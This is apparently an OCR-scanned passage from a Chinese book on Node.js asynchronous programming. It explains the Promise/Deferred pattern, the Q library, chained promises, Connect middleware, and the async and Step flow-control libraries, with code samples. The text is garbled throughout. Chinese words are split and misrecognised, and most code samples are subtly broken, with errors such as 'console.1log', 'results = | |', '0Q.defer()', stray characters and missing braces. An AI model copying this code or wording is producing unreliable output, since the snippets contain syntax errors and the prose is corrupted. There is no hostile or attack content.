图 4-5 ”状态 和 方法 之 间 的 对 应 关系 
利用 Promises/A 提 议 的 模式 ， 我 们 可 以 对 一 个 典型 的 啊 应 对 象 进行 封闭， 相关 代码 如 下 : 


res.setEncoding('utf8'); 

res.on('data', function (chunk) { 
console.log('BODY: ”+ chunk); 

与 

res.on('end', function () { 
// Done 

1 

res.on('error', function (err) { 
// Error 

}); 


上 述 代 码 可 以 转换 为 如 下 的 简略 形式 : 


res .then(function () { 
// Done 
}, function (err) { 
// Error 
}, function (chunk) { 
console.log('BODY: ”+ chunk); 


}); 
要 实现 如 此 简单 的 API， 只 需要 价 单 地 改造 一 下 即 可 ， 相 关 代码 如 下 : 


var promisify = function (res) { 

var deferred = new Deferred(); 

Var result = ”; 

res.on( 'data' ，function (chunk) { 
result += chunk; 
deferred.progress(chunk); 

}); 

res.on('end', function () { 
deferred.resolve(result); 

}); 

res.on('error', function (err) { 
deferred.reject(err); 

}); 

return deferred.promise; 


}3 
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如 此 就 得 到 了 简单 的 结果 。 这 里 返回 deferred.promise 的 目的 是 为 了 不 让 外 部 程序 调用 
resolve() 和 和 reject() 方 法 ， 更 改 内 部 状态 的 行为 交 由 定义 者 人 处理。 下 面 为 定义 好 Promise 后 的 调 
用 示例 : 
promisify(res).then(function () { 
// Done 

}, function (err) { 
// Error 

}, function (chunk) { 


// progress 
console.log('BODY: ”+ chunk); 


3 


这 里 回 到 Promise 和 Deferred 的 差别 上 。 从 上 面 的 代码 可 以 看 出 ，Deferred 主 要 是 用 于 内 部 ， 
用 于 维护 异步 模型 的 状态 ;Promise 则 作用 于 外 部 ,通过 then() 方 法 暴露 给 外 部 以 添加 有 目 定 义 逻 辑 。 
Promise 和 Deferred 的 整体 关系 如 图 4-6 所 示 。 


deferred 


then(fulfilledHandler,errorHandler) 


(es) reject 


图 4-6 ”Promise 和 Deferred 整 体 关系 示意 图 


与 事件 发 布 /订阅 模式 相 比 , Promise/Deferred 模 式 的 API 接 口 和 抽象 模型 都 十 分 简洁 。 从 图 4-6 
中 也 可 以 看 出 ， 它 将 业务 中 不 可 变 的 部 分 封装 在 了 Deferred 中 ,将 可 变 的 部 分 交 给 了 Promise。 此 


时 间 题 就 来 了 ， 对 于 不 同 的 场景 ， 都 需要 去 封 妆 和 改造 其 Deferred 部 分 ， 然 后 才能 得 到 价 尘 的 接 
口 。 如 果 场 景 不 常用 ， 封 法 花 费 的 时 间 与 币 来 的 倍 洁 相 比 并 不 一 定 划 算 。 

Promise 是 高 级 接口 ， 事 件 是 低级 接口 。 低 级 接口 可 以 构成 更 多 更 复杂 的 场景 ， 高 级 接口 一 
日 定义 ,不 太 容 易 变 化 ， 不 再 有 低级 接口 的 灵活 性 ,但 对 于 解决 典型 问题 非 第 有 效 。Promises/A 
的 模型 抽象 在 几 种 Promise 提 议 中 相对 人 简洁。 

这 里 再 介绍 一 人 Q。Q 模 块 是 Promises/A 规 范 的 一 个 实现 ， 可 以 通过 npm install q 进 行 安 装 
使 用 。 它 对 Node 中 和 常见 回调 函数 的 Promise 实 现 如 下 : 


/** 

* Creates a Node-style callback that will resolve or reject the deferred 
* promise. 

* @returns a nodeback 

yy 


defer.prototype.makeNodeResolver = function () { 
var self = this; 
return function (error, value) { 
if (error) { 
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self.reject(error); 
} else if (arguments.length > 2) { 
self.resolve(array slice(arguments, 1)); 
} else { 
self.resolve(value); 


}; 
}; 
可 以 看 到 这 里 是 一 个 高 阶 孙 数 的 使 用 ，makeNodeResolver 返 回 了 一 个 Node 风 格 的 回调 函数 。 
对 于 fs.readFile() 的 调用 ， 将 会 演化 为 如 下 形式 : 
var readFile = function (file, encoding) { 
var deferred = 0Q.defer(); 
fs.readFile(file, encoding, deferred.makeNodeResolver()); 


return deferred.promise; 

}; 

定义 之 后 的 调用 示例 如 下 : 

readFile("foo.txt", "utf-8").then(function (data) { 
// Success case 


}, function (err) { 
// Failed case 


}); 

Promise 通 过 封装 异步 调用 ， 实 现 了 正 辐 用 例 和 反 加 用 例 的 分 离 以 及 逻辑 处 理 延 迟 ， 这 使 得 
回调 负数 相对 优雅 。 

前 面 分 析 了 Q 对 Node 异 步 回 调 的 处 理 。 事 实 上， 异步 编程 中 需要 花费 很 多 精力 进行 异 篆 的 判 
冉 和 处理 ， 为 了 分 离异 党 和 正常 情况 ， 我 与 了 一 个 模块 memeda 用 于 人 处理 makeNodeResolver 相 似 的 
事情 。 在 下 面 的 调用 示例 中 可 以 看 到 ， 正 常 结 果 和 异常 结果 被 分 离 到 两 个 限 数 中 : 


var failing = require('memeda').failing; 


fs.readFile(file, encoding, failing(function (err) { 
// TODO 

}).passing(function (data) { 
// TODO 


])) 

我 们 可 以 对 Q 和 memeda 模 块 略 做 比较 。 两 者 相似 之 处 在 于 分 离 逻 辑 ， 使 开发 者 侧重 关注 正常 
情况 。 不 同 之 处 在 于 Q 通 过 promise() 可 以 实现 延迟 处 理 ， 以 及 通过 多 次 调用 then() 附 加 更 多 结果 
处 理 逻 辑 。 可 以 看 到 ，Promise 需 要 封装 ， 但 是 强大 ， 有 具备 很 强 的 侵入 性 ; 纯粹 的 函数 则 较为 轻 
量 ， 但 功能 相对 弱小 。 

2. Promise 中 的 多 异步 协作 

在 Promise 的 介绍 中 说 过 ， 主 要 解决 的 是 单个 异步 操作 中 存在 的 问题 。 回 到 我 们 的 难点 ， 当 
我 们 需要 处 理 多 个 异步 调用 时 ， 又 该 如 何 处 理 呢 ? 

类 似 于 EventProxy， 这 里 给 出 了 一 个 人 简单 的 原型 实现 ， 相 关 代 人 码 如 下 : 


Deferred.prototype.all = function (promises) { 
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var count = promises.length; 
var that = this; 
var results = | |; 
promises.forEach(function (promise, i) { 
promise.then(function (data) { 
count--; 
results[i|] = data; 
if (count === 0) { 
that.resolve(results); 


}, function (err) { 
that.reject(err); 
}); 
}); 


return this.promise; 


}; 
对 于 多 次 文件 的 读 取 场景 ， 以 下 面 的 代码 为 例 ，all() 方 法 将 两 个 单独 的 Promise 重 新 抽象 组 
合成 一 个 新 的 Promise: 


var promise1 = readFile("foo.txt", "utf-8"); 


var promise2 = readFile("bar.txt", "utf-8"); 

var deferred = new Deferred(); 

deferred.all([promise1, promise2]).then(function (results) { 
// TODO 

}, function (err) { 
// TODO 

}); 


这 里 通过 al1() 方 法 抽象 多 个 异步 操作 。 只 有 所 有 异步 操作 成 功 ， 这 个 异步 操作 才 算 成 功 ， 
- 旦 其 中 一 个 异步 操作 失败 ， 整 个 异步 操作 就 失败 。 

本 市 的 代码 主要 用 于 描述 Promise 的 原理 ,在 成 贺 度 上 并 未 如 when 和 Q 模 块 , 在 实际 的 应 用 中 ， 
可 以 通过 NPM 安 装 这 两 个 模块 ， 它 们 是 完整 的 Promise 提 议 的 实现 。 

3. Promise 的 进 阶 知识 

在 API 的 又 露 上 ，Promise 模 式 比 原始 的 事件 侦 听 和 触发 略为 优美 , 它 的 缺陷 则 是 需要 为 不 同 
的 场景 封装 不 同 的 API， 没 有 下 接 的 原生 事件 那么 灵活 。 但 对 于 经 典 的 场景 ,封装 出 API 的 成 本 
也 并 不 高 ， 值 得 一 做 。 

Promise 的 秘诀 其 实在 于 对 队列 的 操作 。 这 里 介绍 一 个 实际 的 宁 例 ， 我 在 处 理 目 动 化 测试 时 ， 
要 跟 远 程 服务 大 之 间 进 行 多 次 指令 发 送 , 这 些 指令 是 按 顺 序 依 次 进行 的 。 在 Node 中 , 网 络 库 是 完 
全 异步 的 , 无 法 在 编程 层面 实现 像 其 他 语言 那 般 的 同步 调用 。 由 于 网 站 界面 通常 都 是 由 前 端 工程 
师 完 成 的 , 用 JavaScript 编 写 目 动 化 测试 可 以 减轻 他 们 切换 环境 的 痛苦 , 所 以 不 能 因为 无 法 同步 调 
用 就 放弃 挥 Node。 解 决 同步 调用 问题 的 答 采 也 就 是 采用 Deferred 模 式 。 

现在 有 一 组 纯 异 步 的 API， 为 了 完成 一 串 事 情 ， 我 们 的 代码 大 致 如 下 : 


obj.api1(function (value1) { 
obj.api2(value1, function (value2) { 
obj.api3(value2, function (value3) { 
obj.api4(value3, function (value4) { 
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callback(value4); 
] 


由 于 有 按 每 个 步 又 依次 执行 的 需求 ， 所 以 必须 舱 倒 执行。 但 那样 我 们 会 得 到 难看 的 艇 侠 ， 超 
过 10 个 连续 般 合 就 会 让 代码 十 分 难看 。 于 是 我 们 得 到 了 “Pyramid of Doom”, 译 为 中 文 , 是 谓 “ 亚 
魔 金字 塔 ” 。 相 信 初 人 Node 世 界 的 人 ， 也 写 过 不 少 此 类 代码 。 

下 面 我 们 通过 普通 的 函数 将 上 面 的 代码 答 试 展开 : 

var handler1 = function (value1) { 


obj.api2(value1, handler2); 


var handler2 = function (value2) { 
obj.api3(value2, handler3); 


var handler3 = function (value3) { 
obj.api4(value3, hander4); 


var handler4 = function (value4) { 
callback(value4); 


}); 
obj.apii(handler1); 
对 于 喜欢 利用 事件 的 开发 者 ， 我 们 展开 后 的 代码 又 将 会 是 怎样 的 情况 呢 ? 具体 如 下 所 不 : 


var emitter = new event.Emitter(); 


emitter.on("step1", function () { 
obj.apii(function (value1) { 
emitter.emit("step2", value1); 
}); 
}); 


emitter.on("step2", function (value1) { 
obj.api2(value1, function (value2) { 
emitter.emit("step3", value2); 
}); 
}); 


emitter.on("step3", function (value2) { 
obj.api3(value2, function (value3) { 
emitter.emit("step4", value3); 
}); 
}); 


emitter.on("step4", function (value3) { 
obj.api4(value3, function (value4) { 

callback(value4); 

}); 

}); 
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emitter.emit("step1"); 

利用 事件 展开 后 的 效果 变 得 越 来 越 糟糕 了 。 与 纯粹 般 套 相 比 ,代码 量 明显 增加 了 ,这 显然 不 
会 市 来 良好 的 编程 体验 。 为 此 ， 我 们 需要 一 种 更 好 的 方式 。 

@ 支持 序列 执行 的 Promise 

理想 的 编程 体验 应 当 是 前 一 个 的 调用 结 采 作为 下 一 个 调用 的 开始 , 是 传 次 中 的 链 式 调用 , 相 
关 代 码 如 下 : 


promise() 
.then(obj.api1) 
.then(obj.api2) 
.then(obj.api3) 
.then(obj.api4) 
.then(function (value4) { 
// Do something with value4 
}, function (error) { 
// Handle any error from step1 through step4 
}) 


.done( ); 
洋 试 改造 一 下 代码 以 实现 链 式 调 用 ， 具 体 如 下 所 示 : 


var Deferred = function () { 
this.promise = new Promise(); 


}; 


// 完成 态 
Deferred.prototype.resolve = function (obj) { 
var promise = this.promise; 
var handler; 
while ((handler = promise.queue.shift())) { 
if (handler && handler.fulfilled) { 
var ret = handler.fulfilled(obj); 
if (ret && ret.isPromise) { 
ret.queue = promise.queue; 
this.promise = ret; 
return; 
} 
} 
} 
}; 


// 失败 态 
Deferred.prototype.reject = function (err) { 
var promise = this.promise; 
var handler; 
while ((handler = promise.queue.shift())) { 
if (handler && handler.error) { 
var ret = handler.error(err); 
if (ret && ret.ispromise) { 
ret.queue = promise.queue; 
this.promise = ret; 
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return; 
} 
} 
} 
}; 


// 生成 回调 场 数 
Deferred.prototype.callback = function () { 
var that = this ; 
return function (err, file) { 
if (err) { 
return that.reject(err); 


that.resolve(file); 


je 
jn 


var Promise = function () { 
// 队列 用 于 存储 待 执 行 的 回调 函数 
this.queue = []; 
this.isPromise = true; 


Promise.prototype.then = function (fulfilledHandler, errorHandler, progressHandler) { 
var handler = {}; 
if (typeof fulfilledHandler === 'function') { 
handler.fulfilled = fulfilledHandler; 


if (typeof errorHandler === 'function') { 
handler.error = errorHandler; 

} 

this.queue.push(handler); 

return this; 


13 
这 里 我 们 以 两 次 文件 谈 取 作为 例子 ,以 验证 该 设计 的 可 行 性 。 这 里 假设 谈 取 第 二 个 文件 是 依 
赖 于 第 一 个 文件 中 的 内 容 的 ， 相 关 代 人 码 如 下 : 


var readFile1 = function (file, encoding) { 
var deferred = new Deferred(); 
fs.readFile(file, encoding, deferred.callback()); 
return deferred.promise; 

}; 

var readFile2 = function (file, encoding) { 
var deferred = new Deferred(); 
fs.readFile(file, encoding, deferred.callback()); 
return deferred.promise; 


上 


readFile1('file1.txt', 'utf8').then(function (file1) { 
return readFile2(file1.trim(), 'utf8'); 
}).then(function (file2) { 
console.1log(file2); 


}); 
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将 这 段 代码 存 为 sequence.js 文 件 。 执 行 该 代码 ， 将 会 得 到 以 下 的 输出 结 


$ node sequence.]js 
I am file2 


要 让 Promise 文 持 链 式 执行 ， 主 要 通过 以 下 两 个 步骤 。 

(1) 将 所 有 的 回调 都 存 到 队列 中 。 

(2) Promise 完 成 时 ， 了 逐个 执行 回调 , 一旦 检测 到 返回 了 新 的 Promise 对 象 ， 停止 执行 ， 然 后 将 
当前 Deferred 对 象 的 promise 引 用 改变 为 新 的 Promise 对 象 ， 并 将 队列 中 余下 的 回调 转交 给 它 。 

写 到 这 里 ， 你 是 否 明 了 恶魔 金字 塔 该 如 何 优化 ? 

再 次 重申 ， 这 里 的 代码 主要 用 于 人 研究 Promise 的 实现 原理 。 在 更 多 细 市 的 优化 方面 ，Q 或 者 
when 等 Promise 库 做 得 更 好 ， 实 际 应 用 时 请 采用 这 些 成 熟 库 。 

@ 将 API Promise 化 

这 里 仍然 会 发 现 ， 为 了 体验 更 好 的 API， 需 要 做 较 多 的 准备 工作 。 这 里 提供 了 一 个 方法 可 以 
批量 将 方法 Promise 化 ， 相 关 代 人 码 如 下 : 


// smooth(fs.readFile); 
var smooth = function (method) { 
return function () { 
var deferred = new Deferred(); 
var args = Array.prototype.slice.call(arguments, 1); 
args.push(deferred.callback()); 
method.apply(null, args); 
return deferred.promise; 
}; 
}; 


于 是 前 面 的 两 次 文件 读 取 的 构造 : 


var readFile1 = function (file, encoding) { 
var deferred = new Deferred(); 
fs.readFile(file, encoding, deferred.callback()); 
return deferred.promise; 

}; 

var readFile2 = function (file, encoding) { 
var deferred = new Deferred(); 
fs.readFile(file, encoding, deferred.callback()); 
return deferred.promise; 


}; 

可 以 向 化 为 : 

var readFile = smooth(fs.readFile); 

要 实现 同样 的 效 末 ， 代 码 量 将 会 锐 减 到 : 


var readFile = smooth(fs.readFile); 
readFile('file1.txt', 'utf8').then(function (file1) { 

return readFile(file1.trim(), 'utf8"); 
}).then(function (file2) { 
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// file2 => I am file2 
console.1log(file2); 


}); 


4.3.3 流程 控制 库 


前 面 叙 述 了 最 为 主流 的 模式 一 一 事件 发 布 /订阅 模式 和 Promise/Deferred 模 式 ， 这 些 是 经 典 的 
模式 或 者 是 写 进 规范 里 的 解决 方案 ,但 一 旦 涉及 模 陈 或 者 规范 , 就 需要 为 它们 做 较 多 的 准备 工作 。 
这 一 万 将 会 介绍 一 些 非 模 式 化 的 应 用 ， 虽 非 规 匈 ， 但 更 灵活 。 

1. 尾 触发 与 Next 

除了 事件 和 Promise 外 ， 还 有 一 类 方法 是 需要 手工 调用 才能 持续 执行 后 续 调 用 的 ， 我 们 将 此 
类 方法 叫做 尾 触 发 ， 篆 见 的 关键 词 是 next。 事 实 上 ， 尾 触发 目前 应 用 最 多 的 地 方 是 Connect 的 中 
间 件 。 

这 里 我 们 暂且 不 关注 Connect 的 具体 应 用 ， 先 看 一 下 Connect 的 API 雄 圳 方式， 相关 代码 如 下 : 


var app = connect(); 

// Middleware 

app.use(connect.staticCache()); 
app.use(connect.static( dirname + '/public')); 
app.use(connect.cookieparser()); 
app.use(connect.session()); 

app.use(connect .query()); 
app.use(connect.bodyParser()); 
app.use(connect.csrf()); 

app.listen(3001); 


在 通过 use() 方 法 注册 好 一 系列 中 间 件 后 ， 监 昕 端口 上 的 请 求 。 中 间 件 利用 了 尾 触 发 的 机 制 ， 
最 简单 的 中 间 件 如 下 : 


function (req, res, next) { 


// 中 间 件 
} 


每 个 中 间 件 传递 请 求 对 象 、 啊 应 对 象 和 尾 触发 旺 数 ,通过 队列 形成 一 个 处 理 流 ， 如 图 4-7 所 示 。 


中 间 件 中 间 件 中 间 件 


入 
response response response 


图 4-7 ”中间 件 通 过 队列 形成 一 个 处 理 流 
中 间 件 机 制 使 得 在 处 理 网 络 请 求 时 , 可 以 像 面 向 切面 编程 一 样 进行 过 小 、 验证、 日 志 等 功能 ， 


而 不 与 具体 业务 逻辑 产生 关联 ， 以 致 产生 耦合 。 
下 面 我 们 来 看 Connect 的 核心 实现 ， 相 关 人 代码 如 下 : 
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function createServer() { 
function app(req, res){ app.handle(req, res); } 
utils.merge(app, proto); 
utils.merge(app, EventEmitter.prototype); 
app.route = '/'; 
app.stack = []; 
for (var i = 0; i «< arguments.length; ++i) { 

app.use(arguments[i]); 


return app; 
}; 
这 段 代码 通过 如 下 代码 创建 了 HTTP 服 务 器 的 request 事 件 处 理 函 数 : 
function app(req, res){ app.handle(req, res); } 
但 真正 的 核心 代码 是 app.stack = []; 这 句 。stack 属 性 是 这 个 服务 器 内 部 维护 的 中 间 件 队列 。 
通过 调用 use() 方 法 我 们 可 以 将 中 间 件 放 进 队列 中 。 下 面 的 代码 为 use() 方 法 的 重要 部 分 : 


app.use = function(route, fn){ 
// Some code 
this.stack.push({ route: route, handle: fn }); 


return this ; 
}; 
此 时 就 建 好 处 理 模 型 了 。 接 下 来 ,结合 Node 原 生 http 模 块 实现 监听 即 可 。 监 昕 函数 的 实现 
如 下 : 


app.listen = function(){ 
var server = http.createServer(this); 
return server.listen.apply(server, arguments); 


| 
最 终 回 到 app.handle() 方 法 ， 每 一 个 监听 到 的 网 络 请 求 都 将 从 这 里 开始 处 理 。 该 方法 的 代码 
如 下 : 


app.handle = function(req, res, out) { 
// some code 

next(); 

}; 


原始 的 next() 方 法 较为 复杂 ,下 面 是 位 化 后 的 内 容 ， 其 原理 十 分 简单 ， 取 出 队列 中 的 中 间 件 
并 执行 ， 同 时 传人 当前 方法 以 实现 递归 调用 ， 达 到 持续 触发 的 目的 : 


function next(err) { 
// some code 
// next callback 
layer = stack[index++] ; 


layer.handle(req, res, next); 


所 有 嫌 异 步 编 程 复 杂 的 开发 者 均 可 以 参考 Connect 的 流 式 人 处理 ， 这 对 于 划分 业务 逻辑 、 了 逐步 
处 理 均 有 效 。 
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值得 提醒 的 是 , 尽管 中 间 件 这 种 尾 触发 模式 并 不 要 求 每 个 中 间 方 法 都 是 异步 的 , 但 是 如 果 每 
个 步骤 都 采用 异步 来 完成 , 实际 上 只 是 串 行 化 的 处 理 , 没 办 法 通过 并 行 的 异步 调用 来 提升 业务 的 
处 理 效 率 。 流 陈 处 理 可 以 将 一 些 串 行 的 逻辑 书 平 化 ， 但 是 并 行 逮 辑 处 理 还 是 需要 搭配 事件 或 者 
Promise 完 成 的 ， 这 样 业 务 在 纵 各 和 枝 回 都 能 够 各 有 肯 清晰 。 

在 Connect 中 ， 尾 触发 十 分 适合 处 理 网 络 请 求 的 场景 。 将 复杂 的 处 理 逻 辑 拆 解 为 简 河 、 单 一 
的 处 理 单 元 ， 逐 层次 地 处 理 请 求 对 象 和 啊 应 对 象 。 

2. async 

接 下 来 ,我 们 要 介绍 最 知名 的 流程 控制 模块 async。async 长 期 占据 NPM 依 赖 榜 的 前 三 名 ， 可 
见 在 Node 开 发 中 ， 流 程控 制 是 开发 过 程 中 的 基本 需求 。async 模 块 提 供 了 20 多 个 方法 用 于 处 理 异 
步 的 各 种 协作 模式 ， 这 里 我 们 介绍 几 种 典型 用 法 。 


@ 异步 的 串 行 执行 

这 里 我 们 依旧 采用 前 面 访 取 两 个 文件 的 例子 ， 看 一 下 async 是 如 何 解决 “亚麻 金字 塔 ” 问 4 
题 的 。 

async 提 供 了 series() 方 法 来 实现 一 组 任务 的 串 行 执行 ， 示 例 代 人 三 如 下 : 


async.series([ 
function (callback) { 
fs.readFile('file1.txt', 'utf-8', callback); 
}， 
function (callback) { 
fs.readFile('file2.txt', 'utf-8', callback); 


]，function (err, results) { 
// results => [file1.txt, file2.txt] 

}); 

这 段 代 码 等 价 于 : 

fs.readFile('file1.txt', 'utf-8', function (err, content) { 
if (err) { 


return callback(err); 


} 
fs.readFile('file2.txt ', 'utf-8', function (err, data) { 
if (err) { 
return callback(err); 


RE [content，data] ) ; 
yy; 
这 有 段 代码 值得 玩味 的 是 回调 孙 数 。 可 以 发 现 ，series() 方 法 中 传人 的 函数 callback() 并 非 由 
使 用 者 指定 。 事 实 上 ， 此 处 的 回调 清 数 由 async 通 过 高 阶 疯 数 的 方式 注入 ， 这 里 隐 含 了 特殊 的 你 
辑 。 每 个 callback() 执 行 时 会 将 结果 保存 起 来 ， 然 后 执行 下 一 个 调用 ， 直 到 结束 所 有 调用 。 最 终 
的 回调 函数 执行 时 ,队列 里 的 异步 调用 保存 的 结 采 以 数组 的 方式 传人 。 这 里 的 异 币 处 理 规则 是 一 
旦 出 现 异常 ， 就 结束 所 有 调用 ， 并 将 异常 传递 给 最 终 回 调 函 数 的 第 一 个 参数 。 
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@ 异步 的 并 行 执行 
当 我 们 需要 通过 并 行 来 提升 性 能 时 ,async 提 供 了 parallel() 方 法 , 用 以 并 行 执行 一 些 寞 步 操 
作 。 以 下 为 读 取 两 个 文件 的 并 行 版 本 : 


async.parallel([ 
function (callback) { 
fs.readFile('file1.txt', 'utf-8', callback); 
}, 
function (callback) { 
fs.readFile('file2.txt', 'uvutf-8', callback); 
} 
]，function (err, results) { 
// results => [file1.txt, file2.txt] 


Ds 
上 面 这 段 代码 等 价 于 下 面 的 代码 : 


var counter = 2; 
Var results = [|]; 
var done = function (index, value) { 
results[index| = value; 
counter--; 
if (counter === 0) { 
callback(null, results); 
} 
}; 


// 只 传递 第 一 个 异常 
var hasErr = false; 
var fail = function (err) { 
if (!hasETT) { 
hasErr = true; 
callback(err); 
} 
}; 


fs.readFile('file1.txt', 'utf-8', function (err, content) { 
if (err) { 
return fail(err); 


done(0, content); 


}); 
fs.readFile('file2.txt', 'utf-8', function (err, data) { 
if (err) { 
return fail(err); 


} 


done(1, data); 


}); 

同样 ， 通 过 async 编 写 的 代码 既 没 有 次 度 的 租 套 ， 也 没有 复杂 的 状态 判断 ， 它 的 诀 务 依然 来 
自 于 注入 的 回调 消 数 。parallel() 方 法 对 于 异常 的 判断 依然 是 一 旦 某 个 异步 调用 产生 了 异常 ， 就 
会 将 异常 作为 第 一 个 参数 传 入 给 最 终 的 回调 也 数 。 只 有 所 有 异步 调用 都 正常 完成 时 , 才 会 将 结果 
以 数组 的 方式 传人 。 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


也 许 你 还 记得 EventProxy 的 方案 ， 如 下 所 示 : 


var EventProxy = require('eventproxy' ); 


var proxy = new EventPproxy(); 

proxy.all('content', 'data', function (content, data) { 
callback(null, [content, datal]); 

}) 

proxy.fail(callback); 


fs.readFile('file1.txt', 'utf-8', proxy.done('content')); 
fs.readFile('file2.txt', 'utf-8', proxy.done('data')); 


与 通过 async 编 写 所 产生 的 代码 量 相 差 并 不 大 。EventProxy 虽 然 基于 事件 发 布 /订阅 模式 而 设 
计 , 但 也 用 到 了 与 async 相 同 的 原理 ,通过 特殊 的 回调 函数 来 隐 含 返回 值 的 人 处理。 所 不 同 的 是 ， 
在 async 的 框架 模式 下 ,这 个 回调 孙 数 由 async 封 装 后 传递 出 来 , 而 EventProxy 则 通过 done() 和 fail() 4 
方法 来 生成 新 的 回调 函数 。 这 两 种 实现 方式 都 是 高 阶 孙 数 的 应 用 。 
@ 出 步调 用 的 依赖 处 理 
series() 适 合 无 依赖 的 异步 品行 执行 ， 但 当前 一 个 的 结果 是 后 一 个 调用 的 输入 时 ，series() 
方法 就 无 法 满足 需求 了 。 所 等， 这 种 盘 型 场景 的 需求 ，async 提 供 了 waterfal1() 方 法 来 满足 ， 相 
关 代 码 如 下 : 


async.waterfall([ 
function (callback) { 
fs.readFile('file1.txt', 'utf-8', function (err, content) { 
callback(err, content); 
}); 
}, 
function (arg1, callback) { 
// arg1 => file2.txt 
fs.readFile(arg1, 'utf-8', function (err, content) { 
callback(err, content); 
}); 
}， 
function(arg1, callback){ 
// arg1 => file3.txt 
fs.readFile(arg1, 'utf-8', function (err, content) { 
callback(err, content); 
}); 
} 
]，function (err, result) { 
// result => file4.txt 
}); 


这 有 段 代码 等 价 于 如 下 代码 : 


fs.readFile('file1.txt', 'utf-8', function (err, data1) { 
if (err) { 
return callback(err); 


fs.readFile(data1i, 'utf-8', function (err, data2) { 
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if (err) { 
return callback(err); 


fs.readFile(data2, 'utf-8', function (err, data3) { 
if (err) { 
return callback(err); 


} 
callback(null, data3); 


@ 自动 依赖 处 理 
在 现实 的 业务 环境 中 ,具有 很 多 复杂 的 依赖 关系 ， 这 些 业 务 或 是 异步, 或 是 同步 。 这 种 混杂 
的 编程 环境 经 常 让 人 处 于 理 不 清 顺序 的 情况 。 为 此 , async 提 供 了 一 个 强大 的 方法 auto() 实 现 复杂 
业务 处 理 。 
假设 我 们 的 业务 场景 如 下 : 
(1) 从 磁盘 谈 取 配置 文件 。 
(2) 根据 配置 文件 连接 MongoDB。 
(3) 根据 配置 文件 连接 Redis。 
(4) 编 详 静 态 文件 。 
(5) 上 传 静态 文件 到 CDN。 
(6) 局 动 服务 表 。 
简单 映射 一 下 上 述 业 务 : 
readConfig: function () {}, 
connectMongoDB: function () {}, 
connectRedis: function () {}, 
complieAsserts: function () {}, 
uploadAsserts: function () {}, 


startup: function () {} 
} 


接 下 来 分 析 一 下 依赖 关系 。 可 以 看 出 ，connectMongoDB 和 connectRedis 依 赖 readConfig， 
uploadAsserts 依 赖 complieAsserts，startup 则 依赖 所 有 完成 。 依 赖 关 系 如 下 : 


var deps = { 

readConfig: function (callback) { 
// read config file 
callback(); 

}, 

connectMongoDB: ['readConfig', function (callback) { 
// connect to mongodb 
callback(); 


connectRedis: ['readConfig', function (callback) { 
// connect to redis 
callback(); 
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}]， 

complieAsserts: function (callback) { 
// complie asserts 
callback(); 


uploadAsserts: ['complieAsserts', function (callback) { 
// upload to assert 
callback(); 

}]， 


startup: ['connectMongoDB', 'connectRedis', 'uploadAsserts', function (callback) { 
// startup 


}] 
je 


auto() 方 法 能 根据 依赖 关系 日 动 分 析 ， 以 最 佳 的 顺序 执行 以 上 业务 : 


async.auto(deps); 


转换 到 EventProxy 的 实现 ， 则 需要 更 细腻 的 事件 分 配 ， 相 关 代码 如 下 : 


proxy.assp('readtheconfig', function () { 
// read config file 
proxy.emit('readConfig' ); 
}).on('readConfig', function () { 
// connect to mongodb 
proxy.emit('connectMongoDB' ); 
}).on('readConfig', function () { 
// connect to redis 
proxy.emit('connectRedis'); 
}).assp('complietheasserts', function () { 
// complie asserts 
proxy.emit('complieAsserts'); 
}).on('complieAsserts', function () { 
// upload to assert 
proxy.emit('uploadAsserts' ) ; 
}).all('connectMongoDB' , 'connectRedis', 'uploadAsserts', function () { 
// Startup 
}); 


@ 小 结 
本 节 主 要 介绍 async 的 几 种 常见 用 法 。 此 外 ，async 还 提供 了 forEach、map 等 类 ECMAScript5 
中 数组 的 方法 ， 更 多 细节 可 关注 https:/github.comy/caolan/async。 
3. Step 
另 一 个 知名 的 流程 控制 库 是 Tim Caswell 的 Step， 它 比 async 更 轻 量 ， 在 API 的 暴露 上 也 更 具备 
一 致 性 ， 因 为 它 只 有 一 个 接口 Step。 通 过 npm install step 即 可 安装 使 用 。 示 例 代 码 如 下 : 


Step(task1, task2, task3); 


Step 接 受 任意 数量 的 任务 , 所 有 的 任务 部 将 会 串 行 依次 执行 ,下面 的 示例 代码 将 依次 读 取 文件 : 


Step( 
function readFile1() { 
fs.readFile('file1.txt', 'utf-8', this); 
}， 
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function readFile2(err, content) { 
fs.readFile('file2.txt', 'utf-8', this); 
}， 


function done(err, content) { 
console.log(content); 
站 
可 以 看 到 ，Step 与 前 面 介 绍 的 事件 模式 、Promise 甚 至 async 都 不 同 的 一 点 在 于 Step 用 到 了 this 
关键 字 。 事 实 上 ， 它 是 Step 内 部 的 一 个 next() 方 法 ,将 异步 调用 的 结果 传递 给 下 一 个 任务 作为 参 
数 ， 并 调用 执行 。 
@ 并 行 任 务 执行 
那么 ，Step 如 何 实现 多 个 异步 任务 并 行 执行 呢 ? this 具 有 一 个 parallel() 方 法 ， 它 告诉 Step， 
需要 等 所 有 任务 完成 时 才 进 行 下 一 个 任务 ， 相 关 代 码 如 下 : 
Step( 
function readFile1() { 


fs.readFile('file1.txt', 'utf-8', this.parallel()); 
fs.readFile('file2.txt', 'utf-8', this.parallel()); 


3 

function done(err, content1, content2) { 
// content1 => filel 
// content2 => file2 
console.log(arguments); 


} 
); 
使 用 parallel() 的 时 候 需 要 小 心 的 是 ， 如 果 异 步 方 法 的 结果 传 回 的 是 多 个 参数 ，Step 将 只 会 
取 前 两 个 参数 ， 相 关 代 码 如 下 : 
var asyncCall = function (callback) { 
process.nextTick(function () { 
callback(null, 'result1', 'result2'); 
}); 
}; 
在 调用 parallel() 时 ，iresult2 将 会 被 丢弃 。 
Step 的 parallel() 方 法 的 原理 是 每 次 执行 时 将 内 部 的 计数 硕 加 1, 然后 返回 一 个 回 凋 函 数 ， 这 
个 回调 函数 在 异步 调用 络 束 时 才 执行 。 当 回调 函数 执行 时 ， 将 计数 硕 减 1。 当 计数 硕 为 0 的 时 候 ， 
告知 Step 所 有 异步 调用 结束 了 ，Step 会 执行 下 一 个 方法 。 
Step 与 async 相 同 的 是 异常 处 理 , 一 旦 有 一 个 异常 产生 , 这 个 异常 会 作为 下 一 个 方法 的 第 一 个 
参数 传 入 。 
@ 结果 分 组 
Step 提 供 的 另外 一 个 方法 是 group()， 它 类 似 于 parallel() 的 效果 , 但 是 在 结果 传递 上 略 有 不 
同 。 下 面 的 代码 用 于 旋 取 一 个 目录 ， 然 后 迭代 其 中 文件 的 操作 : 
Step( 
function readDir() { 
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fs.readdir( dirname, this); 


}， 
function readFiles(err, results) { 
if (err) throw err; 
// Create a new group 
var group = this.group(); 
results.forEach(function (filename) { 
